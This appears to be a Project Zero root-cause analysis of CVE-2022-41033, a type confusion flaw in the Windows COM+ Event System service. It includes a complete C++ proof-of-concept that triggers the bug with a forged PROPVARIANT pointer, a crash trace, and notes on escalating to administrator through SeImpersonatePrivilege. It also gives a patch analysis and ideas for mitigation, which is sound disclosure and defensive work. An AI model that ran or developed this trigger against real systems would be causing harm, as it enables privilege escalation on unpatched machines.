# CVE-2022-41033: Type confusion in Windows COM+ Event System Service
*James Forshaw, Google Project Zero*

## The Basics

**Disclosure Date:** 11 October 2022

**Product:** Microsoft Windows

**Advisory:**

* Security bulletin: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41033

**Affected Versions:** Windows 8.1 through 11 and Windows Server 2012 R2 through 2022, prior to the October 2022 patches. Likely affects versions of Windows prior to 8.1, but that is not acknowledged by the vendor.

**First Patched Version:** Windows 8.1 through 11 and Windows Server 2012 R2 through 2022, prior to the October 2022 patches.

**Issue/Bug Report:** N/A

**Patch CL:** N/A

**Bug-Introducing CL:** N/A

**Reporter(s):** Anonymous

## The Code

**Proof-of-concept:**

```
#include <Windows.h>
#include <Propidl.h>
#include <propvarutil.h>
#include <comdef.h>
#include <Shlwapi.h>
#include <sddl.h>
#include <stdio.h>
#include <string>
#include <vector>

#pragma comment(lib, "Propsys.lib")
#pragma comment(lib, "Shlwapi.lib")

struct IEventSystemTier2;

struct __declspec(uuid("609b9557-4fb6-11d1-9971-00c04fbbb345")) IEventSubscriptionTier2 : public IUnknown {
    virtual HRESULT Store(IEventSystemTier2* p0, PROPVARIANT metadata[18], /* unique */PROPVARIANT* pub_names, /* unique */PROPVARIANT* pub_values, /* unique */PROPVARIANT* sub_names, /* unique */PROPVARIANT* sub_values, BLOB* marshaled_obj, int p7, int p8, int p9) = 0;
    virtual HRESULT Load(IEventSystemTier2* p0, PROPVARIANT p1[18], PROPVARIANT* p2, PROPVARIANT* p3, PROPVARIANT* p4, PROPVARIANT* p5, BLOB* p6) = 0;
};

struct __declspec(uuid("609b954b-4fb6-11d1-9971-00c04fbbb345")) IEventSystemTier2 : public IUnknown {
    virtual HRESULT AddCollectionNotify() = 0;
    virtual HRESULT RemoveCollectionNotify() = 0;
    virtual HRESULT NotifyLogonUser() = 0;
    virtual HRESULT Query() = 0;
    virtual HRESULT ObjectMatchesQuery() = 0;
    virtual HRESULT CreateEventObject() = 0;
    virtual HRESULT ConnectToEventObject() = 0;
    virtual HRESULT Remove() = 0;
    virtual HRESULT CreateSubscription(const wchar_t* name, BOOL transient, IEventSubscriptionTier2** subscription) = 0;
    virtual HRESULT VerifyTransientSubscriberExistence() = 0;
    virtual HRESULT VerifyTransientSubscribersForProcess() = 0;
};

_COM_SMARTPTR_TYPEDEF(IEventSystemTier2, __uuidof(IEventSystemTier2));
_COM_SMARTPTR_TYPEDEF(IEventSubscriptionTier2, __uuidof(IEventSubscriptionTier2));

class __declspec(uuid("1be1f766-5536-11d1-b726-00c04fb926af")) EventSystemTier2
{
};

void Check(HRESULT hr)
{
    if (FAILED(hr))
    {
        throw _com_error(hr);
    }
}

std::wstring GetSid()
{
    HANDLE token;
    OpenProcessToken(::GetCurrentProcess(), TOKEN_QUERY, &token);
    BYTE buffer[0x1000];
    DWORD len;
    GetTokenInformation(token, TokenUser, buffer, 0x1000, &len);
    PTOKEN_USER user = reinterpret_cast<PTOKEN_USER>(buffer);
    LPWSTR str;
    ::ConvertSidToStringSid(user->User.Sid, &str);
    printf("%ls\n", str);
    return str;
}

class ScopedCoInitialize {
    HRESULT hr_;
public:
    ScopedCoInitialize() {
        hr_ = CoInitialize(nullptr);
    }
    ~ScopedCoInitialize() {
        if (SUCCEEDED(hr_)) {
            CoUninitialize();
        }
    }
};

int main(int argc, char** argv) {
    try {
        ScopedCoInitialize co_init;
        Check(CoInitializeSecurity(nullptr, -1, nullptr, nullptr, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, 0, nullptr));

        IEventSystemTier2Ptr ev;
        Check(CoCreateInstance(__uuidof(EventSystemTier2), nullptr, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&ev)));

        IEventSubscriptionTier2Ptr sub;
        Check(ev->CreateSubscription(L"EXAMPLE", TRUE, &sub));
        PROPVARIANT va[18] = {};
        PROPVARIANT a = {};
        PROPVARIANT b = {};
        PROPVARIANT c = {};
        PROPVARIANT d = {};
        BLOB e = {};

        IStreamPtr stm;
        Check(CreateStreamOnHGlobal(nullptr, TRUE, &stm));
        Check(CoMarshalInterface(stm, IID_IUnknown, ev, MSHCTX_DIFFERENTMACHINE, nullptr, MSHLFLAGS_NORMAL));
        HGLOBAL h;
        Check(GetHGlobalFromStream(stm, &h));
        e.cbSize = static_cast<ULONG>(GlobalSize(h));
        e.pBlobData = static_cast<BYTE*>(GlobalLock(h));

        variant_t ecid(L"{10000000-0000-0000-0000-000000000000}");
        Check(VariantToPropVariant(&ecid, &va[0]));
        variant_t partid(L"{20000000-0000-0000-0000-000000000000}");
        Check(VariantToPropVariant(&partid, &va[16]));
        variant_t appid(L"{30000000-0000-0000-0000-000000000000}");
        Check(VariantToPropVariant(&appid, &va[17]));
        Check(InitPropVariantFromBoolean(TRUE, &va[6]));
        std::wstring sid_str = GetSid();
        variant_t sid(sid_str.c_str());
        Check(VariantToPropVariant(&sid, &va[7]));
        variant_t x(L"XXX");
        Check(VariantToPropVariant(&x, &va[3]));
        variant_t y(L"YYY");
        Check(VariantToPropVariant(&y, &va[4]));
        variant_t z(L"ZZZ");
        Check(VariantToPropVariant(&z, &va[14]));

        std::vector<LPCWSTR> names;
        for (size_t i = 0; i < sizeof(PROPVARIANT); ++i)
        {
            names.push_back(L"1");
        }

        PROPVARIANT name_prop;
        Check(InitPropVariantFromStringVector(names.data(), sizeof(PROPVARIANT), &name_prop));

        PROPVARIANT fake_prop = {};
        fake_prop.vt = VT_UNKNOWN;
        fake_prop.punkVal = reinterpret_cast<IUnknown*>(0x12345678);

        PROPVARIANT val_prop;
        val_prop.vt = VT_BLOB;
        val_prop.blob.cbSize = sizeof(fake_prop);
        val_prop.blob.pBlobData = reinterpret_cast<BYTE*>(&fake_prop);

        Check(sub->Store(ev, va, &name_prop, &val_prop, nullptr, nullptr, &e, 0, 0, 0));
    }
    catch (const _com_error& err) {
        printf("%ls\n", err.ErrorMessage());
    }
    return 0;
}
```

**Exploit sample:** N/A

**Did you have access to the exploit sample when doing the analysis?** No

## The Vulnerability

**Bug class:** Type confusion due to aliased types.

**Vulnerability details:**

The bug is a type confusion in the handling of a [PROPVARIANT](https://learn.microsoft.com/en-us/windows/win32/api/propidlbase/ns-propidlbase-propvariant), which is a generic object type which can hold a range of values such as integers or COM object pointers. This is somewhat similar to [issue 1358](https://bugs.chromium.org/p/project-zero/issues/detail?id=1358) in the Intel HECI service.

The vulnerability is in *es.dll*, which implements the COM+ Event System service. The function *InMemoryRegRow::PutPropertyBag* creates an [IPropertyBag](https://learn.microsoft.com/en-us/windows/win32/api/oaidl/nn-oaidl-ipropertybag) object which is a simple name/value dictionary. The *PutPropertyBag* function takes two *PROPVARIANT*s which are expected to contain a vector of strings and a vector of *PROPVARIANT*s respectively The code is roughly:

```
HRESULT InMemoryRegRow::PutPropertyBag(PROPVARIANT& Names, PROPVARIANT& Values) {
  this->PropertyBag = CreatePropertyBag(Values->capropvar.cElems);
  for (int i = 0; i < Values.capropvar.cElems; ++i) {
    LPWSTR name = WStringCopy(Names.calpwstr.pElems[i]);
    PROPVARIANT var;
    PropVariantCopy(&var, Values.capropvar.pElems[i]);
    this->PropertyBag->Add(name, var);
  }
  // ...
}
```

Even though the function is expecting specific variant types it doesn't verify this by checking the *vt* field in the *PROPVARIANT* structure. The COM runtime ensures that a *PROPVARIANT* structure is valid, however as the structure is a union it's possible to pass a different valid value which results in the *capropvar.pElems* pointer being aliased to a different type. For example the structure referenced by the *capropvar* value is as follows:

```
struct CAPROPVARIANT {
   ULONG cElems;
   PROPVARIANT* pElems;
};
```

We could alias this with a *VT_BLOB* variant which has the following structure:

```
struct BLOB {
  ULONG cbSize;
  BYTE  *pBlobData;
};
```

These two structures line up with the *cbSize* mapping to *cElems* and the *pElems* pointer mapping to *pBlobData*. We can pass a blob with arbitrary bytes which will be interpreted as an array of *PROPVARIANT* structures, we can control its contents and it won't be verified by the COM runtime over checking that the byte buffer is of the correct length.

A way of exploiting this is to fake a *VT_UNKNOWN* type inside the blob, which contains an arbitrary pointer to an *IUnknown* COM interface. As the pointer is inside the byte array of the blob this isn't verified by the COM runtime when passed to the service. When this fake variant is added to the property bag, [PropVariantCopy](https://learn.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-propvariantcopy) is called which will try to dereference the faked pointer to get its vtable and ultimately call the *IUnknown::AddRef* function to add an additional reference to the object. This results in a crash similar to the following when passing a *VT_UNKNOWN* variant with a bogus pointer value set to *0x12345678*:

```
231c.22c8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
OLEAUT32!VariantCopy+0x9b:
00007ffd`1d114e4b 488b01          mov     rax,qword ptr [rcx] ds:00000000`12345678=????????????????
0:001> k
 # Child-SP          RetAddr           Call Site
00 000000b0`ae17da80 00007ffd`1c4a62f5 OLEAUT32!VariantCopy+0x9b
01 000000b0`ae17dac0 00007ffd`13a3e6cc combase!PropVariantCopy+0x345 [onecore\com\combase\util\propvar.cxx @ 581] 
02 000000b0`ae17db40 00007ffd`13a42b77 es!InMemoryRegRow::PutPropertyBag+0xac
03 000000b0`ae17dba0 00007ffd`1bb58e33 es!CSubscription2::Store+0x557
...
```

You can get to the vulnerable code by calling the *IEventSubscriptionTier2::Store* interface method which takes the two vectors as *PROPVARIANT* parameters. An object exposing the *IEventSubscriptionTier2* interface can be created by calling the *IEventSystemTier2::CreateSubscription* method exposed by the COM class *EventSystemTier2 (CLSID:1be1f766-5536-11d1-b726-00c04fb926af)* which is implemented by the COM+ Event System service. You need to pass *TRUE* to the second parameter to use an in-memory property bag and reach the vulnerable code.

This COM class is accessible by any normal user on the system, but not sandboxed processes. The object has a COM launch security descriptor which grants the following groups access:
- BUILTIN\Administrators
- Everyone
- NT AUTHORITY\INTERACTIVE
- NT AUTHORITY\SYSTEM

The service runs as the *LOCAL SERVICE* user not a full administrator. However it has *SeImpersonatePrivilege* which is effective administrator equivalent. Therefore the likely chain is to first get arbitrary code execution in the process, then impersonate an administrator access token to fully compromise the system.

Also worth noting that the service will be automatically started when an instance of the COM object is created, so unless this service is explicitly disabled or not installed the OS would be vulnerable.

**Patch analysis:**

There's a few minor changes in the patched *es.dll* which might be some additional hardening but the most important change seems to be the introduction of the function *ValidatePropertyBag*. This checks whether the two *PROPVARIANT* parameters are valid. The basic flow is:

```
HRESULT ValidatePropertyBag(const PROPVARIANT& Names, 
                            const PROPVARIANT& Values) {
  if (Names.vt == (VT_VECTOR | VT_LPWSTR) && 
      Values.vt == (VT_VECTOR | VT_VARIANT) && 
      Names->calpwstr.cElems == Values->capropvar.cElems) {
    return S_OK;
  }
  
  return E_INVALIDARG;
}
```

This function is called at the start of the function *InMemoryRegRow::PutPropertyBag* and *RegistryRegRow::PutPropertyBag* which ensures the variant vectors are of the correct type and size. If the function fails then the entire operation fails. The *RegistryRegRow::PutPropertyBag* function doesn't look directly exploitable, although it might have an information disclosure bug as the variants are more or less directly copied to a user accessible registry value which could be used to disclose the contents of heap memory.

**Thoughts on how this vuln might have been found:** It's possible that this could have been fuzzed, however manual analysis seems more likely due to number of arguments which need to be passed to successfully hit the vulnerable code.

**(Historical/present/future) context of bug:** N/A

## The Exploit

**Exploit strategy (or strategies):** N/A

**Exploit flow:** N/A

**Known cases of the same exploit flow:** N/A

**Part of an exploit chain?** N/A

## The Next Steps

### Variant analysis

**Areas/approach for variant analysis (and why):** N/A

**Found variants:** N/A

### Structural improvements

What are structural improvements such as ways to kill the bug class, prevent the introduction of this vulnerability, mitigate the exploit flow, make this type of vulnerability harder to exploit, etc.?

**Ideas to kill the bug class:**

Accessing variant types can be error prone if the the *vt* field is not checked before accessing the inner value. This could potentially be mitigated
by having wrapper classes which always check the *vt* before allowing access to the inner value. Also not using a language with form of undefined behavior would help massively.

### 0-day detection methods

N/A

## Other References

None